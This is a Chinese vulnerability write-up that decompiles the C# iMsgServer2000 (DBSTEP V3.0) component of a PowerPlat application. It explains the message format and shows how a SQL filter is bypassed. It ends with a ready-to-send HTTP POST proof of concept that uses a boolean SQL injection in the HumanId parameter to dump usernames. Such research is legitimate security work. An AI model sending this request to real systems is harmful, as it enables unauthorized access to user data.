在页面初始位置就加载了
protected void Page_Load(object sender, EventArgs e)
{
PowerGlobal.CheckSecurity(this.Request);
iMsgServer2000 iMsgServer2000 = new iMsgServer2000();
iMsgServer2000 非常熟悉的金格组件标志,之前在java相关应用上分析过java版本的,跟进看下C#版本的有啥不一样

定义一些默认常量,再往下看
public iMsgServer2000()
{
this.FMsgText = "";
this.FError = "";
this.FVersion = this.VERSION;
try
{
this.FTempName = Path.GetTempFileName();
this.FMsgFile = new FileStream(this.FTempName, (FileMode) 4);
}
catch
{
}
this.Charset = "GB2312";
}
~iMsgServer2000()
{
try
{
((Stream) this.FMsgFile).Close();
if (string.Compare(this.FMsgFile.Name, this.FTempName) != 0)
return;
this.DelFile(this.FTempName);
}
catch
{
}
finally
{
base.Finalize();
}
}
private string FormatHead(string vString)
{
if (vString.Length > 16 /*0x10*/)
return vString.Substring(0, 16 /*0x10*/);
for (int index = vString.Length + 1; index < 17; ++index)
vString += " ";
return vString;
}
定义了消息头的格式化方式,如果超过16字节就截取前16字节.
再看下剩下的消息格式
private byte[] MsgToStream(byte[] mStream)
{
int num1 = 64 /*0x40*/;
int num2 = 0;
int length1 = 1024 /*0x0400*/ * this.BuffSize;
byte[] numArray = new byte[length1];
try
{
int num3 = 0;
int length2 = this.StringToByte(this.FMsgText).GetLength(0);
int length3 = this.StringToByte(this.FError).GetLength(0);
this.FFileSize = (int) ((Stream) this.FMsgFile).Length;
int ffileSize = this.FFileSize;
mStream = new byte[num1 + length2 + length3 + ffileSize];
MemoryStream memoryStream = new MemoryStream(mStream);
string vString = this.FormatHead(this.FVersion) + this.FormatHead(length2.ToString()) + this.FormatHead(length3.ToString()) + this.FormatHead(ffileSize.ToString());
((Stream) memoryStream).Write(this.StringToByte(vString), 0, num1);
int num4 = num3 + num1;
if (length2 > 0)
((Stream) memoryStream).Write(this.StringToByte(this.FMsgText), 0, length2);
int num5 = num4 + length2;
if (length3 > 0)
((Stream) memoryStream).Write(this.StringToByte(this.FError), 0, length3);
int num6 = num5 + length3;
if (ffileSize > 0)
{
((Stream) this.FMsgFile).Seek(0L, (SeekOrigin) 0);
int length4 = length1;
for (; ffileSize > 0; ffileSize -= length4)
{
if (ffileSize - length1 < length1)
{
length4 = ffileSize;
numArray = new byte[length4];
}
int num7 = 0;
while (num7 < length4)
num7 += ((Stream) this.FMsgFile).Read(numArray, num7, length4 - num7);
((Stream) memoryStream).Write(numArray, 0, length4);
}
}
num2 = num6 + ffileSize;
((Stream) memoryStream).Close();
return mStream;
}
catch (Exception ex)
{
this.FError += ex.ToString();
return (byte[]) null;
}
}
其中vString的定义消息头的组成部分由四个部分组成(版本、消息文本、错误信息、文件内容):
- 整个
mStream的结构:头部(64字节) + 消息文本(length2字节) + 错误信息(length3字节) + 文件内容(ffileSize字节)。
- 第一部分:this.FormatHead(this.FVersion)
- 来源:
this.FVersion,这是类的版本字符串,默认值为"DBSTEP V3.0"(在类中定义为private string VERSION = "DBSTEP V3.0";并在构造函数中赋值this.FVersion = this.VERSION;)。 - 处理:通过
FormatHead格式化为正好16字符。- 原字符串长度:11("DBSTEP V3.0")。
- 格式化后:
"DBSTEP V3.0 "(末尾补5个空格,使总长16)。
- 作用:表示消息的版本信息,用于接收端验证兼容性。
- 长度:固定16字符。
- 来源:
- 第二部分:this.FormatHead(length2.ToString())
- 来源:
length2,这是FMsgText(消息文本)的字节长度。FMsgText是类的私有字段,默认空字符串(构造函数中this.FMsgText = "";)。length2 = this.StringToByte(this.FMsgText).GetLength(0);:将FMsgText转换为字节数组,并获取其长度(取决于编码,如GB2312)。- 示例:如果
FMsgText为空,length2 = 0,则length2.ToString() = "0"。
- 处理:通过
FormatHead格式化为正好16字符。- 示例:如果
length2 = 0,格式化后:"0 "(补15个空格)。 - 如果
length2 = 1024,则"1024 "(补12个空格)。
- 示例:如果
- 作用:表示后续消息文本的字节长度,便于接收端读取正确的数据块。
- 长度:固定16字符。
- 来源:
- 第三部分:this.FormatHead(length3.ToString())
- 来源:
length3,这是FError(错误信息)的字节长度。FError是类的私有字段,默认空字符串(构造函数中this.FError = "";)。length3 = this.StringToByte(this.FError).GetLength(0);:类似length2,转换为字节后获取长度。- 示例:如果无错误,
length3 = 0,则"0"。
- 处理:通过
FormatHead格式化为正好16字符。- 示例:
"0 "(补15个空格)。
- 示例:
- 作用:表示后续错误信息的字节长度。如果有错误,接收端可以读取并处理。
- 长度:固定16字符。
- 来源:
- 第四部分:this.FormatHead(ffileSize.ToString())
- 来源:
ffileSize,这是文件内容的字节大小。this.FFileSize = (int) ((Stream) this.FMsgFile).Length;:从文件流FMsgFile(临时文件)获取大小。ffileSize = this.FFileSize;:复制值。- 示例:如果文件为空,
ffileSize = 0。
- 处理:通过
FormatHead格式化为正好16字符。- 示例:如果
ffileSize = 0,格式化后:"0 "。 - 如果
ffileSize = 2048,则"2048 "。
- 示例:如果
- 作用:表示后续文件内容的字节长度,便于接收端读取文件数据块。
- 长度:固定16字符。
- 来源:
示例如下
DBSTEP V3.0 10 0 1024
代表版本为系统默认的 DBSTEP V3.0+补充空格,一共16字节,余下每个部分亦如此,不再赘述.
再看下 iMsgServer2000.GetMsgByName 的实现
public string GetMsgByName(string FieldName)
{
string msgByName = "";
string str = FieldName + "=";
int num1 = this.FMsgText.IndexOf(str);
if (num1 == -1)
return msgByName;
int num2 = this.FMsgText.IndexOf("\r\n", num1 + 1);
int num3 = num1 + str.Length;
return num2 != -1 ? this.DecodeBase64(this.FMsgText.Substring(num3, num2 - num3)) : msgByName;
}
根据 FieldName 的值加上=后截取等号后至换行之间的内容作为值.
只需要注意其中第二部分的消息长度是计算消息头64字节之后到文件内容之前的部分长度,最后部分的文件长度需要加上消息的结尾的换行长度2.
举例如下图

其中135代表消息长度,由以下部分组成

换行的 123456 代表文件内容,其长度也是消息头的第四部分,即上图中的 8(文件内容本身长度6+上一部分的换行长度2)
再看下响应的部分

消息校验成功,输出也符合代码逻辑,响应里设置 MARKLIST 的值为 LoadMarkList 方法的结果

再跟进 LoadMarkList 方法
private string LoadMarkList(string user_id)
{
StringBuilder stringBuilder = new StringBuilder();
try
{
IBusinessOperate businessOperate = BusinessFactory.CreateBusinessOperate("HumanSign");
if (string.IsNullOrEmpty(user_id))
user_id = Guid.Empty.ToString();
foreach (IBaseBusiness baseBusiness in (IEnumerable<IBaseBusiness>) businessOperate.FindAll("HumanId", (object) user_id))
{
又是熟悉的 FindAll 方法,是存在SQL注入的,但是此处因为开头有 PowerGlobal.CheckSecurity 的校验

会检查是否存在SQL注入的一些特征

在看下 CheckSortSelect 方法

跟进 CheckWhere 方法

检测where语句后是否存在 一些特征,当存在时字节返回包含非法字符 -- 这种格式
如下图所示

那我们直接可以构造布尔注入达到获取数据的目的
POST /PowerPlat/FormXml/DocFile/OfficeService.aspx?HumanId=1'or+'1'='1 HTTP/1.1
Host: powerplat.mrxn.net
Content-Type: application/x-www-form-urlencoded
DBSTEP V3.0 135 0 8 DBSTEP=REJTVEVQ
OPTION=TE9BRE1BUktMSVNU
USERNAME=YWRtaW4=
TEMPLATE=dGVzdC50eHQ=
FILENAME=dGVzdC50eHQ=
RECORDID=dHh0
FILETYPE=dHh0
123456

对响应的MARKLIST的值进行base64解码
是可以获取到所有相关用户名


